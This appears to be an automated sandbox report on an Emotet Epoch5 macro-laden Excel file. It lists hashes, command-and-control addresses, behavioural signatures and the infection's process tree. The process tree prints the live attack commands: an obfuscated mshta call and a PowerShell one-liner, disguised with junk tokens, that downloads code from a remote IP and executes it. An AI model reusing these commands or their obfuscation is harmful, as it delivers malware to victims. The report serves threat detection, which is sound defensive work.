emotet | ad0de4164ae26ef5515f4fb320ad1316776b2eec28e447c51187cf5c58c1b8ea

General

Target

ad0de4164ae26ef5515f4fb320ad1316776b2eec28e447c51187cf5c58c1b8ea.xlsm
Size

114KB
MD5

74e51ea25acbbad7750f905be8ae1ab9
SHA1

260164bae357ae9136d5693146425eb6f6b09e55
SHA256

ad0de4164ae26ef5515f4fb320ad1316776b2eec28e447c51187cf5c58c1b8ea
SHA512

90d3b710ac2d533ec4997089091dc5100aa266f71fc3d2b836206600f1a255f5e9667a4e773a5e2e4b765517e6a395bd94dbf1e00631d4db9d2c560641272c34

Score

10^/10

emotet epoch5 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0x5cff39c3/sec/sec.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.195/sec/sec.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4212	3960	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 5 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

31 2204 mshta.exe
38 4768 powershell.exe
40 4768 powershell.exe
48 2988 rundll32.exe
49 2988 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

2392 rundll32.exe
1944 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Gxdfdkkoygmaqyud\kzuquyesevly.oui rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

4992 2204 WerFault.exe mshta.exe

flow	pid	process
31	2204	mshta.exe
38	4768	powershell.exe
40	4768	powershell.exe
48	2988	rundll32.exe
49	2988	rundll32.exe

pid	process
2392	rundll32.exe
1944	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Gxdfdkkoygmaqyud\kzuquyesevly.oui	rundll32.exe

pid	pid_target	process	target process
4992	2204	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3960 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid	process
4768	powershell.exe
4768	powershell.exe
4992	WerFault.exe
4992	WerFault.exe
4992	WerFault.exe
4992	WerFault.exe
4992	WerFault.exe
4992	WerFault.exe
4992	WerFault.exe
4992	WerFault.exe
4992	WerFault.exe
4992	WerFault.exe
4992	WerFault.exe
4992	WerFault.exe
4992	WerFault.exe
4992	WerFault.exe
4768	powershell.exe
2988	rundll32.exe
2988	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 4768 powershell.exe
Token: SeDebugPrivilege 4992 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	4768	powershell.exe
Token: SeDebugPrivilege	4992	WerFault.exe

Suspicious use of SetWindowsHookEx 20 IoCs

Processes:

EXCEL.EXE

pid	process
3960	EXCEL.EXE
3960	EXCEL.EXE
3960	EXCEL.EXE
3960	EXCEL.EXE
3960	EXCEL.EXE
3960	EXCEL.EXE
3960	EXCEL.EXE
3960	EXCEL.EXE
3960	EXCEL.EXE
3960	EXCEL.EXE
3960	EXCEL.EXE
3960	EXCEL.EXE
3960	EXCEL.EXE
3960	EXCEL.EXE
3960	EXCEL.EXE
3960	EXCEL.EXE
3960	EXCEL.EXE
3960	EXCEL.EXE
3960	EXCEL.EXE
3960	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 3960 wrote to memory of 4212	3960	EXCEL.EXE	cmd.exe
PID 3960 wrote to memory of 4212	3960	EXCEL.EXE	cmd.exe
PID 4212 wrote to memory of 2204	4212	cmd.exe	mshta.exe
PID 4212 wrote to memory of 2204	4212	cmd.exe	mshta.exe
PID 2204 wrote to memory of 4768	2204	mshta.exe	powershell.exe
PID 2204 wrote to memory of 4768	2204	mshta.exe	powershell.exe
PID 4768 wrote to memory of 840	4768	powershell.exe	cmd.exe
PID 4768 wrote to memory of 840	4768	powershell.exe	cmd.exe
PID 840 wrote to memory of 2392	840	cmd.exe	rundll32.exe
PID 840 wrote to memory of 2392	840	cmd.exe	rundll32.exe
PID 840 wrote to memory of 2392	840	cmd.exe	rundll32.exe
PID 2392 wrote to memory of 1944	2392	rundll32.exe	rundll32.exe
PID 2392 wrote to memory of 1944	2392	rundll32.exe	rundll32.exe
PID 2392 wrote to memory of 1944	2392	rundll32.exe	rundll32.exe
PID 1944 wrote to memory of 2620	1944	rundll32.exe	rundll32.exe
PID 1944 wrote to memory of 2620	1944	rundll32.exe	rundll32.exe
PID 1944 wrote to memory of 2620	1944	rundll32.exe	rundll32.exe
PID 2620 wrote to memory of 2988	2620	rundll32.exe	rundll32.exe
PID 2620 wrote to memory of 2988	2620	rundll32.exe	rundll32.exe
PID 2620 wrote to memory of 2988	2620	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ad0de4164ae26ef5515f4fb320ad1316776b2eec28e447c51187cf5c58c1b8ea.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3960

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/sec.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4212

C:\Windows\system32\mshta.exe
mshta http://0x5cff39c3/sec/sec.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2204

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/sec.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4768

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
5⤵
- Suspicious use of WriteProcessMemory
PID:840

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2392

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1944

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Gxdfdkkoygmaqyud\kzuquyesevly.oui",xEURoxj
8⤵
- Suspicious use of WriteProcessMemory
PID:2620

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Gxdfdkkoygmaqyud\kzuquyesevly.oui",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:2988

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2204 -s 1648
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4992

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Public\Documents\ssd.dll
MD5
31af0fd02da0bf7acff9242cdc6125a9

SHA1
fb61e5e20913f14462bcf3a05156cc3903a19dd0

SHA256
1f690fbb9cae56c8691ca08e6f6717b715c8a613fbc549b161d03127f91eae52

SHA512
1e7e90bcdbcced682c351bee3e759f720883bb9fb12016b50cc43e0b734e134a9ce1a41ba775b66ba19ab41a4871945b5b958b13cbb3d8c00ca2c0665d369db2

Download Submit
\Users\Public\Documents\ssd.dll
MD5
31af0fd02da0bf7acff9242cdc6125a9

SHA1
fb61e5e20913f14462bcf3a05156cc3903a19dd0

SHA256
1f690fbb9cae56c8691ca08e6f6717b715c8a613fbc549b161d03127f91eae52

SHA512
1e7e90bcdbcced682c351bee3e759f720883bb9fb12016b50cc43e0b734e134a9ce1a41ba775b66ba19ab41a4871945b5b958b13cbb3d8c00ca2c0665d369db2

Download Submit
\Users\Public\Documents\ssd.dll
MD5
31af0fd02da0bf7acff9242cdc6125a9

SHA1
fb61e5e20913f14462bcf3a05156cc3903a19dd0

SHA256
1f690fbb9cae56c8691ca08e6f6717b715c8a613fbc549b161d03127f91eae52

SHA512
1e7e90bcdbcced682c351bee3e759f720883bb9fb12016b50cc43e0b734e134a9ce1a41ba775b66ba19ab41a4871945b5b958b13cbb3d8c00ca2c0665d369db2

Download Submit
memory/1944-335-0x0000000001000000-0x0000000001028000-memory.dmp

Filesize
160KB

Download
memory/1944-329-0x00000000009F0000-0x0000000000A18000-memory.dmp

Filesize
160KB

Download
memory/2620-345-0x0000000004660000-0x0000000004688000-memory.dmp

Filesize
160KB

Download
memory/2988-351-0x0000000001050000-0x0000000001078000-memory.dmp

Filesize
160KB

Download
memory/2988-348-0x0000000000C80000-0x0000000000CA8000-memory.dmp

Filesize
160KB

Download
memory/3960-128-0x00007FFA94C50000-0x00007FFA94C60000-memory.dmp

Filesize
64KB

Download
memory/3960-129-0x00007FFA94C50000-0x00007FFA94C60000-memory.dmp

Filesize
64KB

Download
memory/3960-115-0x00007FFA98310000-0x00007FFA98320000-memory.dmp

Filesize
64KB

Download
memory/3960-121-0x00007FFA98310000-0x00007FFA98320000-memory.dmp

Filesize
64KB

Download
memory/3960-118-0x00007FFA98310000-0x00007FFA98320000-memory.dmp

Filesize
64KB

Download
memory/3960-117-0x00007FFA98310000-0x00007FFA98320000-memory.dmp

Filesize
64KB

Download
memory/3960-116-0x00007FFA98310000-0x00007FFA98320000-memory.dmp

Filesize
64KB

Download
memory/4768-284-0x000002A1CD620000-0x000002A1CD6E0000-memory.dmp

Filesize
768KB

Download
memory/4768-297-0x000002A1E7A20000-0x000002A1E7A5C000-memory.dmp

Filesize
240KB

Download
memory/4768-308-0x000002A1E7AE0000-0x000002A1E7B56000-memory.dmp

Filesize
472KB

Download
memory/4768-317-0x000002A1CD620000-0x000002A1CD6E0000-memory.dmp

Filesize
768KB

Download
memory/4768-283-0x000002A1CD620000-0x000002A1CD6E0000-memory.dmp

Filesize
768KB

Download
memory/4768-275-0x000002A1E75E0000-0x000002A1E7602000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads